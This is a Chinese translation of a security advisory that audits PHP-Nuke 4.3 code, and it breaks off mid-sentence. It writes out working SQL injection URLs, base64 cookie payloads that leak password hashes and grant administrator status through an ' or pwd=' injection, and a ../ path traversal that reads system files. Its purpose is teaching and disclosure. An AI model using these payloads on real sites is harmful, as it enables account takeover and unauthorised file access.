之所以翻译这个文章,是因为它非常细致完整地描述了发现安全漏洞的过程,包括成功的和不成功的尝试,提供了一些有用的技术和思路。PHP-Nuke本身的这些已被发现的漏洞会很快被修补,但发现问题的思路不会有大的改变,所以关键在于学习他的思路。文中可能有一些理解或翻译上的错误,原文可以在找到: http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=2 -----/ RFP2101 /-------------------------------/ rfp.labs / wiretrip/---- RFPlutonium to fuel your PHP-Nuke SQL hacking user logins in PHP-Nuke web portal ------------------------------------/ rain forest puppy / rfp@wiretrip.net 目录: -/ 1 / 标准的建议信息 -/ 2 / 总览 -/ 3 / 细解 -/ 4 / 其他手段 -/ 5 / 解决方案 -------------------------------------------------------------------------- 声明:没人强迫你读这个,不想看的话你可以不看 -------------------------------------------------------------------------- -/ 1 / 标准的建议信息 /------------------------------------ 软件包: PHP-Nuke 厂商主页: www.phpnuke.org 测试过的版本: 4.3 平台: 独立于平台(PHP) 联系厂商时间: 12/29/2000 CVE 候选号: CAN-2001-0001 脆弱性类型: 访问验证弱点(普通用户和管理员) RFPolicy v2: http://www.wiretrip.net/rfp/policy.html 以前存在问题: 绕过管理员认证, Aug 2000 BID: 1592 CVE:CVE-2000-0745 SAC: 00.35.032 当前版本:4.4 (可能还是有问题,未测试) -/ 2 / 总览 /------------------------------------------ PHP-Nuke 是一个用PHP实现的网站和新闻中心系统。我对它的外表和提供的功能印象深刻,决定在以后的两个项目中用到它。就象我决定使用的其他代码一样,我会对那些代码做一个快速的审核(开放源码万岁)。我对代码整体上是满意的,它的确消除了一些有关SQL的安全问题。 我觉得把这个脆弱性的如何工作的整个过程揭示出来,从教育的眼光来看,比只写什么“PHP-Nuke是可脆弱的”有意义的多。如果你想了解更多关于SQL hacking,应该看看RFP2K01,在: http://www.wiretrip.net/rfp/p/doc.asp?id=42 这并不是个非常有用的入侵,它只是允许你冒充其他用户得到他们加密后的口令。它也给攻击者暴力破解用户或管理员的口令提供了可能性。 -/ 3 / 细解 /-------------------------------------- 首先,为了更好地辅助SQL hacking,打开SQL查询的记录选项是有帮助的。对MySQL来说只要在(safe_mysqld)启动的时候加上'-l logfile'参数就行了。 其次,让我们看一下代码。因为是用PHP写的而且用MySQL,我们的目标函数当然是mysql_query()了。让我们把所有的mysql_query()都grep出来: [rfp@cide nuke]# ls admin/ config.php index.php print.php topics.php admin.php counter.php language scroller.js ultramode.txt article.php dhtmllib.js links.php search.php upgrades auth.inc.php faq.php mainfile.php sections.php user.php backend.php footer.php manual/ stats.php voteinclude.php banners.php friend.php memberslist.php submit.php cache/ header.php pollBooth.php themes/ comments.php images/ pollcomments.php top.php [rfp@cide nuke]# grep mysql_query * admin.php: $result = mysql_query("SELECT qid FROM queue"); .... 超过254条SQL queries就不贴在这了 .... 让我们来看看那些带有变量的语句,因为里面可能带有用户的输入。例如一些select语句: article.php: mysql_query("update users set umode='$mode', uorder='$order', thold='$thold' where uid='$cookie[0]'"); banners.php: mysql_query("delete from banner where bid=$bid"); comments.php: $something = mysql_query("$q"); user.php: $result = mysql_query("select email, pass from users where (uname='$uname')"); index.php: mysql_query("insert into referer values (NULL, '$referer')"); 来自 article.php 的查询带有四个变量: $mode, $order, $thold,和 $cookie[0]。 comments.php 很有趣,看起来整个查询放在$q变量中,这意味着我们必须到文件中去看那个变量的值是什么,在文件中,我们可以看到: $q = "select tid, pid, sid, date, name, email, url, host_name, subject, comment, score, reason from comments where sid=$sid and pid=$pid"; if($thold != "") { $q .= " and score>=$thold"; } else { $q .= " and score>=0"; } if ($order==1) $q .= " order by date desc"; if ($order==2) $q .= " order by score desc"; 所以我们可以看到$q里用到了变量$sid和$pid,可能还有$thold,如果它被定义了的话。 现在我们该怎么办?让我们来看看那些变量里到底有些什么。我们从article.php中的那个查询开始。去掉注释后,实际的代码是这样的: <?PHP if(!isset($mainfile)) { include("mainfile.php"); } if(!isset($sid) && !isset($tid)) { exit(); } if($save) { cookiedecode($user); mysql_query("update users set umode='$mode', uorder='$order', thold='$thold' where uid='$cookie[0]'"); getusrinfo($user); $info = base64_encode("$userinfo[uid]:$userinfo[uname]:". "$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:". "$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]"); setcookie("user","$info",time()+$cookieusrtime); } (注意:为了在这个安全公告中显示,代码格式做了些调整) 我们看到对变量$mode, $order, $thold, 和$cookie[0]并没有明显的处理。然而,mainfile.php被包含进来而且在函数cookiedecode()中可能会有些处理,所以我们也应该看看它们。 我们先得看看mainfile.php里是不是已经定义了变量 $mode, $order,$thold, or $cookie: [rfp@cide nuke]# grep \$mode mainfile.php [rfp@cide nuke]# grep \$order mainfile.php [rfp@cide nuke]# grep \$thold mainfile.php [rfp@cide nuke]# 嗯, 可以看出mainfile.php 没有对那些变量做任何处理。然而有一个多余的变量$cookie被返回了(在这看不到)。这是因为在mainfile.php中有函数cookiedecode() (和其他相似的函数)。cookiedecode() 的代码是这样的: function cookiedecode($user) { global $cookie; $user = base64_decode($user); $cookie = explode(":", $user); return $cookie; } cookiedecode()调用取到变量$user的值,用base64方式解码,以’:’为定界符分成几个部分,放入$cookie[]数组。这是有意义的,因为上面的SQL查询用到了$cookie[0],数组的第一个元素。 怪?那个$user 变量是从哪来的呢? grep 一下mainfile.php 可以知道$user 变量只在这个函数中被用到。 好啊。这意味着作者对变量$user(他被解码并拆分成$cookie[0]数组), $mode, $order, $thold什么都没干。对那些不熟悉PHP的人说一声,PHP会为从URL得到的参数各自己分配一个全局变量。例如,下面的查询: /somefile.php?varb1=rain&value2=forest¶m3=puppy 会在脚本中定义出三个全局变量$varb1, $value2, 和$param3,它们的值分别为'rain', 'forest', and 'puppy'。这意味着如果我们以如下的URL向article.php提交,我们可以为变量$mode, $order,和$thold赋上任意的值: /article.php?mode=rain&order=forest&thold=puppy 在我们做这些之前,别忘了以下的程序片断: if($save) { ... 这意味着变量$save必须被设置。grep一下mainfile.php看不到变量$save,所以我们应该在URL中设置它的值: /article.php?mode=rain&order=forest&thold=puppy&save=1 让我们试试吧。对这个页面发出请求,没有东西返回,因为我忘掉了下面的这行: if(!isset($sid) && !isset($tid)) { exit(); } 我们需要把$sid 和$tid变量加到URL行,现在是这样了: /article.php?mode=rain&order=forest&thold=puppy&save=1&sid=0&tid=0 这次返回了一个错误页面。看看我们的mysql日志记录,有一个条目: 1 Query update users set umode='rain', uorder='forest', thold='puppy' where uid='' 这证明确实起作用了。现在我们把数据提交给SQL查询,看看我们是不是能“干预”那个查询。我们试图重写那个查询以加入其他的SQL代码。这样做需要一些欺骗的技巧:加入一些额外的单引号。我们所做的是把$thold改成这样的: puppy', thold='puppy 这样的结果是查询语句会变成这样: update users set umode='rain', uorder='forest', thold='puppy', thold='puppy' where uid='' ^^^^^^^^^^^^^^^^^^^^ 我们提交的数据 当然,这不是个有用的SQL语句,但我们只是想证明一下我们的利用方法。让我们来把这些放到URL里提交上去: /article.php?mode=rain&order=forest&thold=puppy',%20thold='puppy& save=1&sid=0&tid=0 (注意:URL 是不换行的) mysql日志中的记录: 5 Query update users set umode='rain', uorder='forest', thold='puppy\', thold=\'puppy' where uid='' 糟糕!看起来当PHP处理从URL提交的参数的时候,自动地逸出了’(它变成了\’)。当然,我用的是 PHP 4,可能PHP 3.x并不是这样。从漏洞利用的角度看,这太讨厌了。从安全的角度看,这样很好。我可能忽略了一些东西,有谁认为我错了,给我来个email。 无论如何,我们没失去什么。从这个角度看,我们知道有时候把全局变量扔进SQL语句可能是安全的(这可能依赖PHP的版本)。让我们回过头来看看cookiedecode()这个函数,它得到全局变量$user的值,用base64方式解码,拆分它到一个$cookie[]数组。需要注意的是$user变量可能是一个HTTPcookie,或者它可以是一个URL参数—PHP并不区分它们(至少在这片代码里不是)。 因为实际的值是用base64编码的,PHP不对编码过后的值做任何逸出操作。意味着无论我们在$user变量放入什么都是安全的,看看: 首先,我们需要得到正确的值。因为cookiedecode()会把值以':'字符进行拆分并使用第一个值,我们至少需要'something:'作为我们的值。那个'something'是我们的文本。现在来说,我们把它设成'www.cipherwar.com:'。现在,我们需要用base64方式编码它。用下面的命令行: [rfp@cide nuke]# echo -n "www.cipherwar.com:" | uuencode -m f begin-base64 644 f d3d3LmNpcGhlcndhci5jb206 ==== 意味着我们得到下面的东西加到URL: &user=d3d3LmNpcGhlcndhci5jb206 当我提交以上带上了额外user参数的URL时,我的mysql日志显示: 7 Query update users set umode='rain', uorder='forest', thold='puppy' where uid='www.cipherwar.com' 行了!现在我们看看能不能逃过SQL语句? [root@cide nuke]# echo -n "www.cipherwar.com' or uid='1" | uuencode -m f begin-base64 644 f d3d3LmNpcGhlcndhci5jb20nIG9yIHVpZD0nMQ== ==== 把这些加入URL并且提交,我的mysql日志显示: 3 Query update users set umode='rain', uorder='forest', thold='puppy' where uid='www.cipherwar.com' or uid='1' 可以了!就象我们看到的那样,我们的值没有被处理过,允许我们干预查询的进行。然而,因为一些mysql本身的限制,我们的利用受到了一些轻微的限制。你们可能熟悉SQL hacking和我以前公布的一些技巧,MySQL不允许多个SQL命令被提交进同一个查询语句中。这意味着象以下这样的东西: mysql_query("select * from table1; select * from table2"); 这将不会执行两个'selects'—它只执行第一个,丢弃第二个。然而(不要绝望),我看到了MySQL TODO列表里有以下的条目: 修改 `libmysql.c' 以允许一行中有两个mysql_query() 命令而不是只报出一个错误。 在TODO 列表中也有: 子查询。select id from t where grp in (select grp from g where u > 100) 这两个改进将会大大提高MySQL在SQL hacking方面的可行性。 现在这个时候,它还不能帮助我们(除非站点重写了PHP-Nuke来使用一个不同的数据库,比如Postgres。但这不太可能)。这意味着我们只能干预已有的查询(比如我们不能增加一个单独的查询)。因为PHP会对URL的参数做逸出处理,我们也会有限制,除非查询中含有一个通过特殊形式提交的变量(比如通过cookiedecode())。嗯,我们有很多限制。 让我们来看看我们所运行的查询: mysql_query("update users set umode='$mode', uorder='$order', thold='$thold' where uid='$cookie[0]'"); 通过指定一个任意的uid值,我们能搞到任何用户的umode,uorder和thold值。虽然有些另人恼火,但这实在称不上一个严重的问题,因为umode,uorder和thold只是一个用户的显示属性设置。我们来看看整个代码片断: if($save) { cookiedecode($user); mysql_query("update users set umode='$mode', uorder='$order', thold='$thold' where uid='$cookie[0]'"); getusrinfo($user); $info = base64_encode("$userinfo[uid]:$userinfo[uname]:". "$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:". "$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]"); setcookie("user","$info",time()+$cookieusrtime); } 在调用cookiedecode()并且完成第一个查询之后,就会有getusrinfo()调用,在这之后一串用户信息用base64方式以cookie的方式发送给我们。注意!包含有$userinfo[pass]的。这意味着,如果我们足够小心的话,我们可能可以得到一个包含有用户口令的cookie,我们所要做的只要通过getusrinfo(): function getusrinfo($user) { global $userinfo; $user2 = base64_decode($user); $user3 = explode(":", $user2); $result = mysql_query("select uid, name, uname, email, femail, url, pass, storynum, umode, uorder, thold, noscore, bio, ublockon, ublock, theme, commentmax from users where uname='$user3[1]' and pass='$user3[2]'"); if(mysql_num_rows($result)==1) { $userinfo = mysql_fetch_array($result); } else { echo "<b>A problem occured</b><br>"; } return $userinfo; } 让我们来看看。再一次,它取到$user的值,用base64方式解码(就与cookiedecode()一样),然后用cookie的第二,三部分($user3[1] 和 $user3[2])去执行一个查询。然而,要让他正常地工作,我们需要知道目标用户正确的用户名和口令,不然SQL查询会返回0行,会显示“有错误发生”。如果我们知道了一个用户的用户名和口令,我们也没必要研究现在这些东西了,不是吗? 我们是不是能干预查询呢?我们查询的是所有符合条件"uname='name' and pass='password'"的用户记录。如果我们放宽搜索的标准的话,我们应该可以得到更多。想像这样一个查询: ... where uname='name' and pass='password' or uname='name' 从逻辑上看,这个查询应该是这样分组的: ... where (uname='name' and pass='password') or (uname='name') 现在,如果我们知道一个用户的用户名(我们应该可以的),但不知道他的口令,第一个子句就会失败;然而,第二个子句肯定满足条件。 让我们来测试下这个假设。现在我们必须构造出$user变量,里面有类似下面这样的字串: uid:username:blah' or uname='username 在我的机器上我想针对用户'test1'。因此我试试下面这样的串: 1:test1:blah' or uname='test1 对它编一下码: [root@cide nuke]# echo -n "1:test1:blah' or uname='test1" | uuencode -m f begin-base64 644 f MTp0ZXN0MTpibGFoJyBvciB1bmFtZT0ndGVzdDE= ==== 把它加到我们上面的查询中去,试一试。你瞧,我发送了这样一个cookie: Set-Cookie: user=MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA%3D; expires=Friday, 29-Dec-00 20:14:00 GMT user的值是base64方式编码的。我们有自己的base64解码方法,但为了与我们刚才所写的东西(例如使用命令行)兼容,最好的方法是创建一个文件(就叫它’encode’吧),文件中是以下的内容: begin-base64 666 user MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA= === 注意:用'='代替所有的%3D,不要包括最后的';' 现在,运行下面的命令: [root@cide nuke]# uudecode encode; cat user uudecode: encode: illegal line 1:test1:lfkSv9NQ1eklg:10:rain:0:0:0 就这些,包括了目标用户的uid,username,password。在你认为我使用了很强壮的口令之前,你应该知道PHP-Nuke用的是加密后的口令。这意味着你必须用暴力猜解来得到真正的口令。 但这些东西重要吗?我们再来看看user.php。user.php是用来管理用户信息的脚本,包括登录,注册新用户,用户信息修改等。那用户信息是如何改变的?让我们来看看: function edituser() { global $user, $userinfo; include("header.php"); getusrinfo($user); nav(); ?> <table cellpadding=8 border=0><tr><td> <form action="user.php" method="post"> <b><?php echo translate("Real Name"); ?></b> <?php echo translate("(optional)"); ?><br> <input class=textbox type="text" name="name" value="<?PHP echo"$userinfo [name]"; ?>" size=30 maxlength=60><br> ... 它包含了header.php文件(用来插入用户指定的HTML头标记)。它再调用getusrinfo()。好了,让我们看看如何利用getusrinfo()来把$userinfo变量设成任何值。edituser() 调用完getuserinfo()之后,调用nav(),接着打印出所有的用户信息。所以,看起来只要我们有有效的用户cookie,我们就可以成功地变为那个用户—我们不甚至需要去crack口令。 但是,edituser()是在我们想要看信息的时候调用的。如果我们想修改一个用户的信息,我们必须通过saveuser()函数,它是这样的: function saveuser($uid, $name, $uname, $email, $femail, $url, $pass, $vpass, $bio) { global $user, $cookie, $userinfo, $EditedMessage, $system, $minpass; cookiedecode($user); // Vulnerability fix thanks to DrBrain $user_check=$cookie[1]; $result=mysql_query("select uid from users where uname='$user_check'"); $vuid=mysql_result($result,0,"uid"); if ($user AND ($cookie[1] == $uname) AND ($uid == $vuid)) { ... 当然,有趣的是这里已经’修正’了一个安全漏洞。让我们来看看这些代码是干什么的: cookiedecode()把$user变量的值解码到$cookie数组中。我们提交了那些$uid, $user, $uname变量。所以伪代码是下面这个样子的: -把$user变量解码到$cookie数组 -查找在$cookie数组中用户名对应的uid(从我们提供的$user变量中得到) - 如果$cookie(我们提供的)中的用户名与$uname(我们提供的)相符并且$uid与$cookie (我们提供的)数组存放的uid一致。 看起来问题的关键在于要使我们提供的cookie与我们作为参数给出的username相符,并且我们必须知道对应于用户名的userid(uid)。如果我们回到前面的edituser()函数,你会发现username对应的uid在查询后以一个隐含字段被返回的(我没有在这把那些代码包括进来)。所以我们能通过edituser()的查询来得到uid,然后用适当的cookie,uname,uid值来调用saveuser()。 这有什么好处呢?当然,我们能接管这个用户账号。但更有意思的事应该是得到管理员的访问权限,对PHP-Nuke来说,就是相当于'authors'。 那我们如何知道有关author账号的的信息呢?看下nuke.sql文件就行了,它是用来初始化PHP-Nuke数据库的脚本,我们可以看到author和用户信息是存放在各自不同的表中—这意味着我们必须找到一个特定的查找author表的查询。让我们来看看: [root@cide nuke]# grep mysql_query *|grep author admin.php: $result = mysql_query("select radminarticle, radmintopic,radminleft,radminright,radminuser,radminmain, radminsurvey,radminsection,radminlink,radminephem,radminfilem, radminhead,radminsuper from authors where aid='$aid'"); auth.inc.php: $result=mysql_query("select pwd from authors where aid='$aid'"); auth.inc.php: $result=mysql_query("select pwd from authors where aid='$aid'"); mainfile.php: $holder = mysql_query("SELECT url, email FROM authors where aid='$aid'"); mainfile.php: mysql_query("insert into stories values (NULL, '$aid', '$title', now(), '$hometext', '$bodytext', '0', '0', '$topic', '$author', '$notes')"); search.php: $thing = mysql_query("select aid from authors order by aid"); stats.php:$result = mysql_query("select * from authors"); top.php:$result = mysql_query("select aid, counter from authors order by counter DESC limit 0,$top"); 嗯,只有8个命中。在mainfile.php中的第二个查询并不是一个对author表的查询,stats.php的查询中没有有包含任何变量,所以它们可以被忽略掉。Top.php的查询受限严重—如果MySQL允许添加额外的查询的话(就象前面讨论的那样),利用它是可能的,但按现在的情况是不行的,所以我们也没必要把时间浪费在那了。Mainfile.php里的查询并不从author表中获取任何令人感兴趣的信息,所以我们也没必要搞它了。所以我们只剩下admin.php 和 auth.inc.php。 Admin.php是管理员登录和行使管理功能的页面。Admin.php干的第一件事就是调用auth.inc.php,意味着需要欺骗auth.inc.php来做一些我们想做的事。有两个地方用到了auth.inc.php,初始登录和标准口令检查: 初始登录: if ((isset($aid)) && (isset($pwd)) && ($op == "login")) { if($aid!="" AND $pwd!="") { $result=mysql_query("select pwd from authors where aid='$aid'"); list($pass)=mysql_fetch_row($result); if($pass == $pwd) { $admin = base64_encode("$aid:$pwd"); setcookie("admin","$admin",time()+2592000); } } } 标准口令检查: if(isset($admin)) { $admin = base64_decode($admin); $admin = explode(":", $admin); $aid = "$admin[0]"; $pwd = "$admin[1]"; if ($aid=="" || $pwd=="") { $admintest=0; echo .... bunch of HTML ....; exit; } $result=mysql_query("select pwd from authors where aid='$aid'"); if(!$result) { echo "Selection from database failed!"; exit; } else { list($pass)=mysql_fetch_row($result); if($pass == $pwd && $pass != "") { $admintest = 1; } } } 在aritcle.php初始登录中,如果我们能使它相信我们就是那个用户的话,它会返回给我们一个含有用户名和口令的cookie。然而,为了获得author状态,我们需要欺骗标准口令检查程序段把$admintest变量值设成1。 看看初始登录,我们需要对付出$aid参数,但是,就象我们先前讨论的那样,PHP不允许我们采用加入”’”的方法,所以这是不可行的。 其他程序片段是从$admin cookie中得到变量值的,我们可以干预它(前面已经看到了)。所以我们实际是要对付下面的查询: $result=mysql_query("select pwd from authors where aid='$aid'"); 我们必须满足下面的要求: if($pass == $pwd && $pass != "") { 嗯,这有点麻烦。我们必须操纵那个查询使之返回一个已知的值,而这个值不能为空。对那个查询来说,它只返回’pwd’列。呵,如果我们知道那些东西的话,我们也没必要来搞它了。所以我只能坐下来想该怎么办。突然我想到了,我们需要知道查询所返回的值。那个值必须是一个已存在用户的口令。所以,想像一下这样一个查询: select pwd from authors where aid='arbitrary' or pwd='password' 这会执行一个查询选择出那些aid的值为'arbitrary',或者口令的值为'password'的记录。呵,这有什么好处呢? 这样做的好处是它将匹配只要以'password'作为口令的任何用户。我们可以通过给$aid变量提供这样一个值来操纵查询: ' or pwd='common_password 所以如果只要有一个$pwd的值等于common_password,$pwd的值就会被设成common_password。如果我们把pass设成common_password的话,那么$pass==$pwd,我们就会被确认为author。实际上我们是以我们所提供的口令被确认为author的。PHP-Nuke的确允许为每个用户设置不不同的权限,我们可能没有权力干任何事,但是,我们得到了author这个状态。这是我们这个练习所要达到的目的。 在你感到失望之前,你应该看看那些对author可用的选取项。惊奇的是竟然无需权限就可以干诸如运行’env’(基本上给了你php_info()),’show’(以web服务器的id看任意的文件),’chdr’(可以允许你对目录进行列表),’edit’(以web服务器的id写内容到文件中),等。 对于SQL hacking,对PHP-Nuke就这些了。希望你喜欢这个比较长的例子! -/ 4 / New Year BONUS: 其他手段 /------------------------------------ 对于从教育目的来说,在审查PHP代码的过程中,我认为有必要指出PHP-Nuke包含了一些其他很有趣的东西。 当我坐下来审查一些代码的时候,第一件我要做的事就是查看那些与系统交互的调用—特别是那些文件系统交互和命令的执行。在PHP中,那些目标调用包括: exec() - run external commands passthru() - run external commands system() - run external commands fopen() - open a file (or URL) readfile() - output a file (or URL) include() - include a file (or URL) include_once() - (same as include) 前面三个是用来执行程序的。其他四个是用来读取文件的。因为require()/require_once()是在执行的时候被展开的,意味着我们没有机会在它们执行的时候干预它,所以对它们将不做审查。 那我是怎么评价那些调用的使用情况的呢?最简单的办法是grep: [root@cide nuke]# grep exec * stats.php:$time = (exec("date")); stats.php:$uptime_info = "Uptime:" . trim(exec("uptime")) . "\n\n"; stats.php:exec ("df", $x); 嗯,有三个命中的。然而,它们中没有一个包含变量的(’df’中用到的$x变量是输出的时候用的),所以我们不能干预它们。继续,passthru()没有命中的。System()显示了一些命中,但它们大多只是文本和变量名—并没有实际的system()调用。 让我们继续看那些文件调用。PHP独特的地方是你可以提供一个URL对文件调用,PHP会远程抓到它并使用它。所以这为我们使用远程系统的代码带来额外的好处—一个很有趣的特点! 让我们来看看 [root@cide nuke]# grep fopen * admin.php: $fp=fopen($basedir.$file,"w"); admin.php: $fp=fopen($basedir.$file,"r"); admin.php: $fp=fopen($basedir.$filelocation,"w"); mainfile.php: $file = fopen("$ultra", "w"); mainfile.php: $fpread = fopen($headlinesurl, 'r'); mainfile.php: $fpwrite = fopen($cache_file, 'w'); 嗯,admin.php很有希望,只是得看看$basedir和$file/$filelocation在哪有定义。Mainfile.php和$headlines/$cache_file也是一样。看看admin.php,$basedir是这样定义的: $basedir = dirname($SCRIPT_FILENAME); 这基本上是脚本所在的目录。再看看,你可以知道$file在哪都没定义,这意味着我们能在URL里指定它!看看admin.php中’show’和’edit’的操作,我们的预感是正确的—‘show’会打开由$basedir.$file指定的文件,edit也一样。我们无法控制$basedir,但我们可以控制$file变量。所以我们可以使用’..’。这意味着在admin.php中以'../../../../etc/hosts'为参数进行’edit’操作,允许我们看到系统中的hosts文件。其他的fopen调用也能以相同的办法被滥用。 让我们继续mainfile.php. 看看 $headlinesurl: $result = mysql_query("select sitename, url, headlinesurl from headlines where status=1"); while (list($sitename, $url, $headlinesurl) = mysql_fetch_row($result)) { 这是一个对headlines表的静态查询。除非我们能在headlines数据库中插入值,我们做不了什么。$cache_file是这样定义的: $cache_file = "cache/$sitename.cache"; using the $sitename from the same query as $headlinesurl. 继续看include_once()和readfile(),没有命中的。但是include()被用到了很多次,事实上有355次。它用来把其他文件包含进来,特别是那些某个页面风格的头文件和注脚文件等等。我们只想关注那些有变量的include()语句: footer.php: include("themes/$cookie[9]/footer.php"); footer.php: include("themes/$Default_Theme/footer.php"); header.php: include("themes/$cookie[9]/theme.php"); header.php: include("themes/$cookie[9]/header.php"); header.php: include("themes/$Default_Theme/theme.php"); header.php: include("themes/$Default_Theme/header.php"); mainfile.php: include("language/lang-$language.php"); mainfile.php: include($cache_file); header.php 和footer.php用include()把用户偏好的主题文件包括进来(如果没有指定的话使用$Default_Theme)。$language 和 $cache_file也是在mainfile.php中定义的,所以mainfile.php行不通。让我们看下header.php。相关的代码: if (!isset($index)) { include("config.php"); global $artpage, $topic; } else { global $site_font, $sitename, $artpage, $topic, $banners, $Default_Theme, $uimages; } .... if(isset($user)) { $user2 = base64_decode($user); $cookie = explode(":", $user2); if($cookie[9]=="") $cookie[9]=$Default_Theme; if(isset($theme)) $cookie[9]=$theme; include("themes/$cookie[9]/theme.php"); include("themes/$cookie[9]/header.php"); } else { include("themes/$Default_Theme/theme.php"); include("themes/$Default_Theme/header.php"); } 我们看到如果$user变量被设置或者$Default_Theme没被设置的话,include会用到$cookie[9]。$Default_Theme在config.php中有定义,如果$index变量没有定义的话,它会被包含进来。 你搞清楚了吗?可能你应该再读一次。$Default_Theme在config.php中有定义,如果$index变量没有定义的话,它会被包含进来。呵,所以如果我们设置了$index变量(在URL中加进index=1),config.php就不会被包含进来,这样我们就可以在URL里指定任意的$Default_Theme了,让我们来试试: 我来提交这样的URL: /header.php?index=1&Default_Theme=rain.forest.puppy 出现了这样的错误: Warning: Failed opening 'themes/rain.forest.puppy/theme.php' for inclusion (include_path='') in /home/httpd/html/nuke/header.php on line 97 Warning: Failed opening 'themes/rain.forest.puppy/header.php' for inclusion (include_path='') in /home/httpd/html/nuke/header.php on line 98 呵,行得通。这样,我们是否能够通过提交特定的Default_Theme值来包含进任意的文件呢?不幸的是后面会加上'themes/',所以我们不能用到PHP远程URL文件抓取特点。 我们能用'..'到父目录。然而,问题是无论我们提交什么,后面都会被加上'/theme.php'。我们看不到'../../../../etc/hosts',因为最后的include()是以这样的参数被调用的:
关于我们 / 给我留言 / 版权举报 / 意见建议 / 网站编程QQ群
Copyright ©2003-
2024 Lihuasoft.net webmaster(at)lihuasoft.net 加载时间 0.00162
|